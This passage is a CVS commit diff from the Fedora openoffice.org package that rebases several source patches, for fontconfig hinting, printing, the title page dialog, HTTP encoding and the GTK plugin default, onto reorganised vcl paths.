- 	pBookmarkTbl->DeleteAndDestroy( 0, pBookmarkTbl->Count() );
+@@ -547,15 +557,6 @@
+     pMarkManager->clearAllMarks();
  	DELETEZ( pMacroTable );
  
 -	if( pExtInputRing )

openoffice.org-2.0.2.ooo64508.vcl.honourfontconfighinting.patch:
 inc/vcl/fontmanager.hxx                    |   37 ++++-
 vcl/inc/vcl/impfont.hxx                    |   36 +++++
 vcl/inc/vcl/outdev.hxx                     |    3 
 vcl/inc/vcl/outfont.hxx                    |    4 
 vcl/inc/vcl/salgdi.hxx                     |    2 
 vcl/inc/vcl/vclenum.hxx                    |   21 +++
 vcl/source/gdi/outdev3.cxx                 |    8 +
 vcl/source/glyphs/gcach_ftyp.cxx           |   88 ++++++++-----
 vcl/source/glyphs/gcach_ftyp.hxx           |    5 
 vcl/unx/headless/svpgdi.cxx                |    4 
 vcl/unx/headless/svpgdi.hxx                |    1 
 vcl/unx/headless/svppspgraphics.cxx        |   30 ----
 vcl/unx/headless/svppspgraphics.hxx        |    1 
 vcl/unx/inc/pspgraphics.h                  |    1 
 vcl/unx/inc/salgdi.h                       |    1 
 vcl/unx/source/fontmanager/fontcache.cxx   |   13 -
 vcl/unx/source/fontmanager/fontconfig.cxx  |  196 +++++++++++++++++++++--------
 vcl/unx/source/fontmanager/fontmanager.cxx |    8 -
 vcl/unx/source/gdi/pspgraphics.cxx         |   30 ----
 vcl/unx/source/gdi/salgdi3.cxx             |  189 +++++++++++++++++++++++++++
 vcl/unx/source/gdi/xlfd_extd.cxx           |    3 
 vcl/win/inc/salgdi.h                       |    1 
 vcl/win/source/gdi/salgdi3.cxx             |    6 
 23 files changed, 515 insertions(+), 173 deletions(-)

Index: openoffice.org-2.0.2.ooo64508.vcl.honourfontconfighinting.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-2.0.2.ooo64508.vcl.honourfontconfighinting.patch,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- openoffice.org-2.0.2.ooo64508.vcl.honourfontconfighinting.patch	12 Feb 2009 16:11:14 -0000	1.25
+++ openoffice.org-2.0.2.ooo64508.vcl.honourfontconfighinting.patch	10 Oct 2009 15:48:45 -0000	1.26
@@ -177,15 +177,15 @@ retrieving revision 1.149
 diff -u -r1.149 gcach_ftyp.cxx
 --- openoffice.org.orig/vcl/source/glyphs/gcach_ftyp.cxx	11 Apr 2008 08:57:28 -0000	1.149
 +++ openoffice.org/vcl/source/glyphs/gcach_ftyp.cxx	30 May 2008 09:30:01 -0000
-@@ -43,6 +43,7 @@
- #include <vcl/impfont.hxx>
- #include <vcl/bitmap.hxx>
- #include <vcl/bmpacc.hxx>
-+#include <vcl/virdev.hxx>
- 
- #include <tools/poly.hxx>
- #include <basegfx/matrix/b2dhommatrix.hxx>
-@@ -623,9 +624,6 @@
+@@ -40,6 +40,7 @@
+ #include "vcl/impfont.hxx"
+ #include "vcl/bitmap.hxx"
+ #include "vcl/bmpacc.hxx"
++#include "vcl/virdev.hxx"
+ 
+ #include "tools/poly.hxx"
+ #include "basegfx/matrix/b2dhommatrix.hxx"
+@@ -620,9 +621,6 @@
              aDFA.mbSubsettable= false;
              aDFA.mbEmbeddable = false;
  
@@ -195,7 +195,7 @@ diff -u -r1.149 gcach_ftyp.cxx
              FT_Done_Face( aFaceFT );
              AddFontFile( aCFileName, nFaceNum, ++mnNextFontId, aDFA, NULL );
              ++nCount;
-@@ -705,6 +703,7 @@
+@@ -702,6 +700,7 @@
  :   ServerFont( rFSD ),
      mnPrioEmbedded(nDefaultPrioEmbedded),
      mnPrioAntiAlias(nDefaultPrioAntiAlias),
@@ -203,7 +203,7 @@ diff -u -r1.149 gcach_ftyp.cxx
      mpFontInfo( pFI ),
      maFaceFT( NULL ),
      maSizeFT( NULL ),
-@@ -834,42 +833,69 @@
+@@ -835,42 +834,69 @@
  
      mbArtItalic = (rFSD.meItalic != ITALIC_NONE && pFI->GetFontAttributes().GetSlant() == ITALIC_NONE);
      mbArtBold = (rFSD.meWeight > WEIGHT_MEDIUM && pFI->GetFontAttributes().GetWeight() <= WEIGHT_MEDIUM);
@@ -296,7 +296,7 @@ diff -u -r1.149 gcach_ftyp.cxx
  #endif
  
      if( ((mnCos != 0) && (mnSin != 0)) || (mnPrioEmbedded <= 0) )
-@@ -1204,13 +1230,15 @@
+@@ -1228,13 +1254,15 @@
          }
      }
  
@@ -313,7 +313,7 @@ diff -u -r1.149 gcach_ftyp.cxx
  #endif
  
      if( nGlyphIndex != 0 )
-@@ -1341,11 +1369,11 @@
+@@ -1376,11 +1404,11 @@
  #if (FTVERSION >= 2002)
      // for 0/90/180/270 degree fonts enable autohinting even if not advisable
      // non-hinted and non-antialiased bitmaps just look too ugly
@@ -327,7 +327,7 @@ diff -u -r1.149 gcach_ftyp.cxx
          nLoadFlags |= FT_LOAD_NO_BITMAP;
  
      FT_Error rc = -1;
-@@ -1496,7 +1524,7 @@
+@@ -1545,7 +1573,7 @@
      // autohinting in FT<=2.0.4 makes antialiased glyphs look worse
      nLoadFlags |= FT_LOAD_NO_HINTING;
  #else
@@ -384,12 +384,11 @@ retrieving revision 1.5
 diff -u -r1.5 svpgdi.hxx
 --- openoffice.org.orig/vcl/unx/headless/svpgdi.hxx	11 Apr 2008 09:29:03 -0000	1.5
 +++ openoffice.org/vcl/unx/headless/svpgdi.hxx	30 May 2008 09:30:54 -0000
-@@ -169,6 +169,8 @@
-     virtual BOOL			drawEPS( long nX, long nY, long nWidth, long nHeight, void* pPtr, ULONG nSize );
+@@ -170,6 +170,7 @@
  
      virtual SystemGraphicsData GetGraphicsData() const;
-+
-+    virtual void                        GetFontHints( const ImplFontAttributes& rFontAttributes, int nSize, ImplFontHints& rFontHints) const;
+     virtual SystemFontData     GetSysFontData( int nFallbacklevel ) const;
++    virtual void               GetFontHints( const ImplFontAttributes& rFontAttributes, int nSize, ImplFontHints& rFontHints) const;
  };
  
  #endif
@@ -448,11 +447,11 @@ retrieving revision 1.5
 diff -u -r1.5 svppspgraphics.hxx
 --- openoffice.org.orig/vcl/unx/headless/svppspgraphics.hxx	11 Apr 2008 09:30:40 -0000	1.5
 +++ openoffice.org/vcl/unx/headless/svppspgraphics.hxx	30 May 2008 09:30:56 -0000
-@@ -197,6 +197,7 @@
-     virtual BOOL			drawEPS( long nX, long nY, long nWidth, long nHeight, void* pPtr, ULONG nSize );
-     virtual bool            filterText( const String& rOrigText, String& rNewText, xub_StrLen nIndex, xub_StrLen& rLen, xub_StrLen& rCutStart, xub_StrLen& rCutStop );
+@@ -190,6 +190,7 @@
+     
      virtual SystemGraphicsData 		GetGraphicsData() const;
-+    virtual void                        GetFontHints( const ImplFontAttributes& rFontAttributes, int nSize, ImplFontHints& rFontHints) const;
+     virtual SystemFontData          GetSysFontData( int nFallbacklevel ) const;
++    virtual void                    GetFontHints( const ImplFontAttributes& rFontAttributes, int nSize, ImplFontHints& rFontHints) const;
  };
  
  #endif // _SVP_PSPGRAPHICS_HXX
@@ -478,9 +477,9 @@ retrieving revision 1.45
 diff -u -r1.45 salgdi.h
 --- openoffice.org.orig/vcl/unx/inc/salgdi.h	11 Apr 2008 09:37:25 -0000	1.45
 +++ openoffice.org/vcl/unx/inc/salgdi.h	30 May 2008 09:30:58 -0000
-@@ -247,6 +247,7 @@
+@@ -253,6 +253,7 @@
      virtual void			SetTextColor( SalColor nSalColor );
-     virtual USHORT         SetFont( ImplFontSelectData*, int nFallbackLevel );
+     virtual USHORT			SetFont( ImplFontSelectData*, int nFallbackLevel );
      virtual void			GetFontMetric( ImplFontMetricData* );
 +    virtual void                        GetFontHints( const ImplFontAttributes& rFontAttributes, int nSize, ImplFontHints& rFontHints) const;
      virtual ULONG			GetKernPairs( ULONG nPairs, ImplKernPairData* pKernPairs );
@@ -493,7 +492,7 @@ retrieving revision 1.29
 diff -u -r1.29 pspgraphics.cxx
 --- openoffice.org.orig/vcl/unx/source/gdi/pspgraphics.cxx	11 Apr 2008 09:53:14 -0000	1.29
 +++ openoffice.org/vcl/unx/source/gdi/pspgraphics.cxx	30 May 2008 09:31:10 -0000
-@@ -866,6 +866,10 @@
+@@ -885,6 +885,10 @@
      }
  }
  
@@ -505,8 +504,8 @@ diff -u -r1.29 pspgraphics.cxx
  {
      const psp::PrintFontManager& rMgr = psp::PrintFontManager::get();
 @@ -1278,32 +1282,6 @@
-     aDFA.mePitch        = ToFontPitch (rInfo.m_ePitch);
-     aDFA.mbSymbolFlag   = (rInfo.m_aEncoding == RTL_TEXTENCODING_SYMBOL);
+     aDFA.mbSubsettable  = rInfo.m_bSubsettable;
+     aDFA.mbEmbeddable   = rInfo.m_bEmbeddable;
  
 -    switch (rInfo.m_eEmbeddedbitmap)
 -    {
@@ -825,9 +824,9 @@ Index: inc/psprint/fontmanager.hxx
 RCS file: /cvs/gsl/psprint/inc/psprint/fontmanager.hxx,v
 retrieving revision 1.36
 diff -u -r1.36 fontmanager.hxx
---- openoffice.org.orig/psprint/inc/psprint/fontmanager.hxx	11 Apr 2008 10:09:55 -0000	1.36
-+++ openoffice.org/psprint/inc/psprint/fontmanager.hxx	18 Nov 2008 10:40:41 -0000
-@@ -142,6 +142,33 @@
+--- openoffice.org.orig/vcl/inc/vcl/fontmanager.hxx	11 Apr 2008 10:09:55 -0000	1.36
++++ openoffice.org/psprint/inc/vcl/fontmanager.hxx	18 Nov 2008 10:40:41 -0000
+@@ -137,6 +137,33 @@
  };
  }
  
@@ -861,16 +860,16 @@ diff -u -r1.36 fontmanager.hxx
  /*
   *  the difference between FastPrintFontInfo and PrintFontInfo
   *  is that the information in FastPrintFontInfo can usually
-@@ -167,8 +194,6 @@
+@@ -162,8 +189,6 @@
      weight::type            			m_eWeight;
      pitch::type             			m_ePitch;
      rtl_TextEncoding        			m_aEncoding;
 -    fcstatus::type                      m_eEmbeddedbitmap;
 -    fcstatus::type                      m_eAntialias;
+     bool                                m_bSubsettable;
+     bool                                m_bEmbeddable;
  
-     FastPrintFontInfo() :
-             m_nID( 0 ),
-@@ -178,9 +203,7 @@
+@@ -175,9 +200,7 @@
              m_eWidth( width::Unknown ),
              m_eWeight( weight::Unknown ),
              m_ePitch( pitch::Unknown ),
@@ -881,7 +880,7 @@ diff -u -r1.36 fontmanager.hxx
      {}
  };
  
-@@ -297,9 +320,6 @@
+@@ -294,9 +317,6 @@
          bool										m_bHaveVerticalSubstitutedGlyphs;
          bool                                        m_bUserOverride;
  
@@ -891,7 +890,7 @@ diff -u -r1.36 fontmanager.hxx
          std::map< sal_Unicode, sal_Int32 >			m_aEncodingVector;
          std::map< sal_Unicode, rtl::OString >		m_aNonEncoded;
  
-@@ -742,6 +762,7 @@
+@@ -736,6 +756,7 @@
      false else
       */
      bool matchFont( FastPrintFontInfo& rInfo, const com::sun::star::lang::Locale& rLocale );
@@ -904,8 +903,8 @@ Index: source/fontmanager/fontcache.cxx
 RCS file: /cvs/gsl/psprint/source/fontmanager/fontcache.cxx,v
 retrieving revision 1.26
 diff -u -r1.26 fontcache.cxx
---- openoffice.org.orig/psprint/source/fontmanager/fontcache.cxx	11 Apr 2008 10:12:37 -0000	1.26
-+++ openoffiec.org/psprint/source/fontmanager/fontcache.cxx	18 Nov 2008 10:40:41 -0000
+--- openoffice.org.orig/vcl/unx/source/fontmanager/fontcache.cxx	11 Apr 2008 10:12:37 -0000	1.26
++++ openoffiec.org/vcl/unx/source/fontmanager/fontcache.cxx	18 Nov 2008 10:40:41 -0000
 @@ -214,9 +214,9 @@
                  aLine.Append( ';' );
                  aLine.Append( (*it)->m_bUserOverride ? "1" : "0" );
@@ -953,8 +952,8 @@ Index: source/fontmanager/fontconfig.cxx
 RCS file: /cvs/gsl/psprint/source/fontmanager/fontconfig.cxx,v
 retrieving revision 1.30.20.1
 diff -u -r1.30.20.1 fontconfig.cxx
---- openoffice.org.orig/psprint/source/fontmanager/fontconfig.cxx	10 Sep 2008 13:53:12 -0000	1.30.20.1
-+++ openoffice.org/psprint/source/fontmanager/fontconfig.cxx	18 Nov 2008 10:40:42 -0000
+--- openoffice.org.orig/vcl/unx/source/fontmanager/fontconfig.cxx	10 Sep 2008 13:53:12 -0000	1.30.20.1
++++ openoffice.org/vcl/unx/source/fontmanager/fontconfig.cxx	18 Nov 2008 10:40:42 -0000
 @@ -122,6 +122,7 @@
      FcBool			(*m_pFcConfigAppFontAddDir)(FcConfig*, const FcChar8*);
      FcBool			(*m_pFcConfigSubstitute)(FcConfig*,FcPattern*,FcMatchKind);
@@ -1244,9 +1243,9 @@ Index: source/fontmanager/fontmanager.cx
 RCS file: /cvs/gsl/psprint/source/fontmanager/fontmanager.cxx,v
 retrieving revision 1.81.18.1
 diff -u -r1.81.18.1 fontmanager.cxx
---- openoffice.org.orig/psprint/source/fontmanager/fontmanager.cxx	10 Sep 2008 13:53:28 -0000	1.81.18.1
-+++ openoffice.org/psprint/source/fontmanager/fontmanager.cxx	18 Nov 2008 10:40:42 -0000
-@@ -355,9 +355,7 @@
+--- openoffice.org.orig/vcl/unx/source/fontmanager/fontmanager.cxx	10 Sep 2008 13:53:28 -0000	1.81.18.1
++++ openoffice.org/vcl/unx/source/fontmanager/fontmanager.cxx	18 Nov 2008 10:40:42 -0000
+@@ -353,9 +353,7 @@
          m_nXMax( 0 ),
          m_nYMax( 0 ),
          m_bHaveVerticalSubstitutedGlyphs( false ),
@@ -1257,16 +1256,16 @@ diff -u -r1.81.18.1 fontmanager.cxx
  {
  }
  
-@@ -2732,8 +2730,6 @@
+@@ -2630,8 +2628,6 @@
      rInfo.m_eWeight         = pFont->m_eWeight;
      rInfo.m_ePitch          = pFont->m_ePitch;
      rInfo.m_aEncoding       = pFont->m_aEncoding;
 -    rInfo.m_eEmbeddedbitmap = pFont->m_eEmbeddedbitmap;
 -    rInfo.m_eAntialias      = pFont->m_eAntialias;
-     rInfo.m_aAliases.clear();
-     for( ::std::list< int >::iterator it = pFont->m_aAliases.begin(); it != pFont->m_aAliases.end(); ++it )
-         rInfo.m_aAliases.push_back( m_pAtoms->getString( ATOM_FAMILYNAME, *it ) );
-@@ -3977,8 +3973,6 @@
+ 
+     rInfo.m_bEmbeddable  = (pFont->m_eType == fonttype::Type1);
+     rInfo.m_bSubsettable = (pFont->m_eType == fonttype::TrueType); // TODO: rename to SfntType
+@@ -3936,8 +3932,6 @@
          BuiltinFont* pFont = new BuiltinFont();
          pFont->m_nDirectory = 0;
          pFont->m_bUserOverride = false;

openoffice.org-2.1.0.ooo65491.psprint.enablenups.patch:
 inc/vcl/printerjob.hxx               |    2 -
 unx/source/printergfx/printerjob.cxx |   45 +++++++++++++++++------------------
 2 files changed, 24 insertions(+), 23 deletions(-)

Index: openoffice.org-2.1.0.ooo65491.psprint.enablenups.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-2.1.0.ooo65491.psprint.enablenups.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openoffice.org-2.1.0.ooo65491.psprint.enablenups.patch	9 Nov 2006 10:48:30 -0000	1.1
+++ openoffice.org-2.1.0.ooo65491.psprint.enablenups.patch	10 Oct 2009 15:48:45 -0000	1.2
@@ -1,5 +1,5 @@
---- openoffice.org.orig/psprint/inc/psprint/printerjob.hxx	2005-09-08 18:35:45.000000000 +0200
-+++ openoffice.org/psprint/inc/psprint/printerjob.hxx	2006-05-16 20:23:54.000000000 +0200
+--- vcl/inc/vcl/printerjob.hxx
++++ vcl/inc/vcl/printerjob.hxx
 @@ -99,7 +99,7 @@ private:            // private methods
  
      bool			writeFeatureList( osl::File* pFile, const JobData&, bool bDocumentSetup );
@@ -9,8 +9,8 @@
      void			writeJobPatch( osl::File* File, const JobData& );
      bool            writeProlog (osl::File* pFile, const JobData& );
  
---- openoffice.org.orig/psprint/source/printergfx/printerjob.cxx	2006-05-04 10:41:55.000000000 +0200
-+++ openoffice.org/psprint/source/printergfx/printerjob.cxx	2006-05-16 20:23:10.000000000 +0200
+--- vcl/unx/source/printergfx/printerjob.cxx
++++ vcl/unx/source/printergfx/printerjob.cxx
 @@ -1047,14 +1047,6 @@ PrinterJob::StartPage (const JobData& rJ
      if( ! (pPageHeader && pPageBody) )
          return sal_False;

openoffice.org-2.2.0.gccXXXXX.solenv.javaregistration.patch:
 globals.pm |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: openoffice.org-2.2.0.gccXXXXX.solenv.javaregistration.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-2.2.0.gccXXXXX.solenv.javaregistration.patch,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- openoffice.org-2.2.0.gccXXXXX.solenv.javaregistration.patch	24 Jan 2009 22:48:22 -0000	1.6
+++ openoffice.org-2.2.0.gccXXXXX.solenv.javaregistration.patch	10 Oct 2009 15:48:45 -0000	1.7
@@ -5,10 +5,10 @@ retrieving revision 1.62.2.3
 diff -u -r1.62.2.3 globals.pm
 --- openoffice.org.orig/solenv/bin/modules/installer/globals.pm	24 Jan 2007 16:34:05 -0000	1.62.2.3
 +++ openoffice.org/solenv/bin/modules/installer/globals.pm	27 Feb 2007 17:25:53 -0000
-@@ -305,7 +305,7 @@
+@@ -399,7 +399,7 @@
  	%moduledestination = ();
  	
- 	$unomaxservices = 25;
+ 	$unomaxservices = 1800; # regcomp -c argument length
 -	$javamaxservices = 15;
 +	$javamaxservices = 1;
  	

openoffice.org-2.2.1.ooo7065.sw.titlepagedialog.patch:
 openoffice.org.orig/sw/source/ui/inc/titlepage.hxx                                 |  129 +++
 openoffice.org/officecfg/registry/data/org/openoffice/Office/UI/WriterCommands.xcu |    5 
 openoffice.org/sw/source/ui/misc/titlepage.cxx                                     |  401 ++++++++++
 openoffice.org/sw/source/ui/misc/titlepage.hrc                                     |   58 +
 openoffice.org/sw/source/ui/misc/titlepage.src                                     |  260 ++++++
 sw/inc/cmdid.h                                                                     |    2 
 sw/inc/globals.hrc                                                                 |    5 
 sw/inc/helpid.h                                                                    |    1 
 sw/inc/rcid.hrc                                                                    |    2 
 sw/inc/swabstdlg.hxx                                                               |    1 
 sw/sdi/_basesh.sdi                                                                 |    6 
 sw/sdi/swriter.sdi                                                                 |   25 
 sw/sdi/swslots.src                                                                 |    4 
 sw/source/ui/dialog/swdlgfact.cxx                                                  |    9 
 sw/source/ui/dialog/swdlgfact.hxx                                                  |    1 
 sw/source/ui/inc/swmn_tmpl.hrc                                                     |    9 
 sw/source/ui/misc/makefile.mk                                                      |    4 
 sw/source/ui/shells/basesh.cxx                                                     |    8 
 sw/uiconfig/swriter/menubar/menubar.xml                                            |    1 
 sw/util/makefile.mk                                                                |    1 
 20 files changed, 927 insertions(+), 5 deletions(-)

Index: openoffice.org-2.2.1.ooo7065.sw.titlepagedialog.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-2.2.1.ooo7065.sw.titlepagedialog.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- openoffice.org-2.2.1.ooo7065.sw.titlepagedialog.patch	13 Nov 2008 13:21:35 -0000	1.3
+++ openoffice.org-2.2.1.ooo7065.sw.titlepagedialog.patch	10 Oct 2009 15:48:45 -0000	1.4
@@ -165,7 +165,7 @@ retrieving revision 1.13
 diff -u -r1.13 swdlgfact.cxx
 --- openoffice.org.orig/sw/source/ui/dialog/swdlgfact.cxx	26 Apr 2007 09:06:20 -0000	1.13
 +++ openoffice.org/sw/source/ui/dialog/swdlgfact.cxx	10 Jul 2007 13:05:50 -0000
-@@ -109,6 +109,7 @@
+@@ -97,6 +97,7 @@
  #include <instable.hxx> //add for SwInsTableDlg
  #include <javaedit.hxx> //add for SwJavaEditDialog
  #include <linenum.hxx> //add for SwLineNumberingDlg
@@ -173,7 +173,7 @@ diff -u -r1.13 swdlgfact.cxx
  #include <mailmrge.hxx> //add for SwMailMergeDlg, SwMailMergeCreateFromDlg, SwMailMergeFieldConnectionsDlg
  #include <mergetbl.hxx> //add for SwMergeTblDlg
  #include <multmrk.hxx> //add for SwMultiTOXMarkDlg
-@@ -1405,6 +1406,14 @@
+@@ -1357,6 +1358,14 @@
  	return 0;
  }
  
@@ -186,7 +186,7 @@ diff -u -r1.13 swdlgfact.cxx
 +}
 +
  VclAbstractDialog * SwAbstractDialogFactory_Impl::CreateVclSwViewDialog( int nResId, 
- 											SwView& rView, BOOL bCol ) //add for SwInsRowColDlg, SwLineNumberingDlg
+ 											SwView& rView, BOOL /*bCol*/ ) //add for SwInsRowColDlg, SwLineNumberingDlg
  {
 Index: source/ui/dialog/swdlgfact.hxx
 ===================================================================

openoffice.org-2.3.0.ooo76649.httpencoding.patch:
 sc/source/filter/html/htmlpars.cxx |   46 +------------------------------------
 sfx2/source/bastyp/sfxhtml.cxx     |   23 +++++++++++++++++-
 svx/source/editeng/eehtml.cxx      |    3 --
 sw/source/filter/html/swhtml.cxx   |    8 ++----
 4 files changed, 28 insertions(+), 52 deletions(-)

Index: openoffice.org-2.3.0.ooo76649.httpencoding.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-2.3.0.ooo76649.httpencoding.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openoffice.org-2.3.0.ooo76649.httpencoding.patch	31 Oct 2007 10:04:02 -0000	1.1
+++ openoffice.org-2.3.0.ooo76649.httpencoding.patch	10 Oct 2009 15:48:45 -0000	1.2
@@ -5,7 +5,7 @@ retrieving revision 1.29
 diff -u -r1.29 htmlpars.cxx
 --- openoffice.org.orig/sc/source/filter/html/htmlpars.cxx	3 Aug 2006 14:54:12 -0000	1.29
 +++ openoffice.org/sc/source/filter/html/htmlpars.cxx	24 Apr 2007 09:47:29 -0000
-@@ -170,26 +170,7 @@
+@@ -157,27 +157,7 @@
      SfxObjectShell* pObjSh = mpDoc->GetDocumentShell();
      BOOL bLoading = pObjSh && pObjSh->IsLoading();
  
@@ -25,15 +25,16 @@ diff -u -r1.29 htmlpars.cxx
 -            aContentType.AppendAscii( pCharSet );
 -
 -            xValues = new SvKeyValueIterator;
--            xValues->Append( SvKeyValue( String::CreateFromAscii( sHTML_META_content_type ), aContentType ) );
+-            xValues->Append( SvKeyValue( String::CreateFromAscii( OOO_STRING_SVTOOLS_HTML_META_content_type ), aContentType ) );
 -            pAttributes = xValues;
 -        }
 -    }
+-
 +    SvKeyValueIterator* pAttributes = bLoading ? pObjSh->GetHeaderAttributes() : 0;
- 
      ULONG nErr = pEdit->Read( rStream, rBaseURL, EE_FORMAT_HTML, pAttributes );
  
-@@ -2797,29 +2779,8 @@
+     pEdit->SetImportHdl( aOldLink );
+@@ -2796,30 +2776,8 @@
  
  ULONG ScHTMLQueryParser::Read( SvStream& rStrm, const String& rBaseURL  )
  {
@@ -56,14 +57,15 @@ diff -u -r1.29 htmlpars.cxx
 -            aContentType.AppendAscii( pCharSet );
 -
 -            xValues = new SvKeyValueIterator;
--            xValues->Append( SvKeyValue( String::CreateFromAscii( sHTML_META_content_type ), aContentType ) );
+-            xValues->Append( SvKeyValue( String::CreateFromAscii( OOO_STRING_SVTOOLS_HTML_META_content_type ), aContentType ) );
 -            pAttributes = xValues;
 -        }
 -    }
+-
 +    SvKeyValueIterator* pAttributes = (pObjSh && pObjSh->IsLoading()) ? pObjSh->GetHeaderAttributes() : 0;
- 
      Link aOldLink = pEdit->GetImportHdl();
      pEdit->SetImportHdl( LINK( this, ScHTMLQueryParser, HTMLImportHdl ) );
+     ULONG nErr = pEdit->Read( rStrm, rBaseURL, EE_FORMAT_HTML, pAttributes );
 Index: source/filter/html/swhtml.cxx
 ===================================================================
 RCS file: /cvs/sw/sw/source/filter/html/swhtml.cxx,v
@@ -100,17 +102,20 @@ retrieving revision 1.17
 diff -u -r1.17 sfxhtml.cxx
 --- openoffice.org.orig/sfx2/source/bastyp/sfxhtml.cxx	17 Sep 2006 16:25:00 -0000	1.17
 +++ openoffice.org/sfx2/source/bastyp/sfxhtml.cxx	24 Apr 2007 09:35:50 -0000
-@@ -90,6 +90,9 @@
- sal_Char __FAR_DATA sHTML_MIME_application[] = "application/";
- sal_Char __FAR_DATA sHTML_MIME_experimental[] = "x-";
+@@ -53,10 +53,11 @@
+ #include <tools/tenccvt.hxx>
  
+ #include <sfx2/sfxhtml.hxx>
 +#include <sfx2/objsh.hxx>
 +#include <sfx2/docfile.hxx>
-+
- #define HTML_META_NONE			0
- #define HTML_META_AUTHOR		1
- #define HTML_META_DESCRIPTION	2
-@@ -624,6 +627,26 @@
+ 
+ #include <com/sun/star/beans/XPropertyContainer.hpp>
+ 
+-
+ using namespace ::com::sun::star;
+ 
+ 
+@@ -381,6 +382,26 @@
  BOOL SfxHTMLParser::SetEncodingByHTTPHeader(
  								SvKeyValueIterator *pHTTPHeader )
  {

openoffice.org-2.4.0.rh133741.alwaysgtk.vcl.patch:
 salplug.cxx |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

Index: openoffice.org-2.4.0.rh133741.alwaysgtk.vcl.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-2.4.0.rh133741.alwaysgtk.vcl.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- openoffice.org-2.4.0.rh133741.alwaysgtk.vcl.patch	12 Feb 2009 14:25:02 -0000	1.3
+++ openoffice.org-2.4.0.rh133741.alwaysgtk.vcl.patch	10 Oct 2009 15:48:45 -0000	1.4
@@ -5,16 +5,16 @@ retrieving revision 1.24
 diff -u -r1.24 salplug.cxx
 --- openoffice.org.orig/vcl/unx/source/plugadapt/salplug.cxx	15 Oct 2007 13:07:38 -0000	1.24
 +++ openoffice.org.orig/vcl/unx/source/plugadapt/salplug.cxx	10 Jan 2008 18:00:21 -0000
-@@ -434,7 +434,7 @@
+@@ -152,7 +152,7 @@
  static const char* autodetect_plugin()
  {
-     const char * desktop = get_desktop_environment();
+     const rtl::OUString& desktop( get_desktop_environment() );
 -    const char * pRet = "gen";
 +    const char * pRet = "gtk";
      
      // no server at all: dummy plugin
-     if ( desktop == desktop_strings[DESKTOP_NONE] )
-@@ -502,7 +502,7 @@
+     if ( desktop.equalsAscii( desktop_strings[DESKTOP_NONE] ) )
+@@ -209,7 +209,7 @@
  
      // fallback to gen
      if( ! pInst )

openoffice.org-3.0.0.ooo87970.vcl.samenamesubs.patch:
 inc/vcl/fontmanager.hxx               |    4 -
 unx/source/fontmanager/fontconfig.cxx |  125 ++++++++++++++++++++++------------
 unx/source/gdi/salgdi3.cxx            |   93 +++++++++++++++++++++----
 3 files changed, 164 insertions(+), 58 deletions(-)

Index: openoffice.org-3.0.0.ooo87970.vcl.samenamesubs.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-3.0.0.ooo87970.vcl.samenamesubs.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- openoffice.org-3.0.0.ooo87970.vcl.samenamesubs.patch	12 Feb 2009 14:25:02 -0000	1.4
+++ openoffice.org-3.0.0.ooo87970.vcl.samenamesubs.patch	10 Oct 2009 15:48:45 -0000	1.5
@@ -1,6 +1,6 @@
-diff -ru psprint/inc/psprint/fontmanager.hxx psprint/inc/psprint/fontmanager.hxx
---- openoffice.org.orig/psprint/inc/psprint/fontmanager.hxx	2008-05-26 15:48:28.000000000 +0100
-+++ openoffice.org/psprint/inc/psprint/fontmanager.hxx	2008-05-26 15:50:13.000000000 +0100
+diff -ru vcl/inc/vcl/fontmanager.hxx vcl/inc/vcl/fontmanager.hxx
+--- openoffice.org.orig/vcl/inc/vcl/fontmanager.hxx	2008-05-26 15:48:28.000000000 +0100
++++ openoffice.org/vcl/inc/vcl/fontmanager.hxx	2008-05-26 15:50:13.000000000 +0100
 @@ -765,8 +765,8 @@
      FontConfigHints getFontConfigHints(const FastPrintFontInfo& rInfo, int nSize, void (*subcallback)(void *));
  
@@ -12,9 +12,9 @@ diff -ru psprint/inc/psprint/fontmanager
      bool hasFontconfig() const { return m_bFontconfigSuccess; }
  
      int FreeTypeCharIndex( void *pFace, sal_uInt32 aChar );
-diff -ru psprint/source/fontmanager/fontconfig.cxx psprint/source/fontmanager/fontconfig.cxx
---- openoffice.org.orig/psprint/source/fontmanager/fontconfig.cxx	2008-05-26 15:48:28.000000000 +0100
-+++ openoffice.org/psprint/source/fontmanager/fontconfig.cxx	2008-05-26 16:07:30.000000000 +0100
+diff -ru vcl/unx/source/fontmanager/fontconfig.cxx vcl/unx/source/fontmanager/fontconfig.cxx
+--- openoffice.org.orig/vcl/unx/source/fontmanager/fontconfig.cxx	2008-05-26 15:48:28.000000000 +0100
++++ openoffice.org/vcl/unx/source/fontmanager/fontconfig.cxx	2008-05-26 16:07:30.000000000 +0100
 @@ -560,6 +560,72 @@
      return true;
  }

openoffice.org-3.0.0.ooo88303.vcl.dynamicfontoptions.patch:
 inc/vcl/glyphcache.hxx               |    3 ++-
 inc/vcl/settings.hxx                 |    6 ++++++
 source/app/settings.cxx              |    2 ++
 source/window/winproc.cxx            |    6 ++++++
 unx/gtk/gdi/salnativewidgets-gtk.cxx |    5 +++++
 unx/gtk/window/gtkframe.cxx          |    3 +++
 unx/source/gdi/salgdi3.cxx           |   11 ++++++++++-
 7 files changed, 34 insertions(+), 2 deletions(-)

Index: openoffice.org-3.0.0.ooo88303.vcl.dynamicfontoptions.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-3.0.0.ooo88303.vcl.dynamicfontoptions.patch,v
retrieving revision 1.4
retrieving revision 1.5
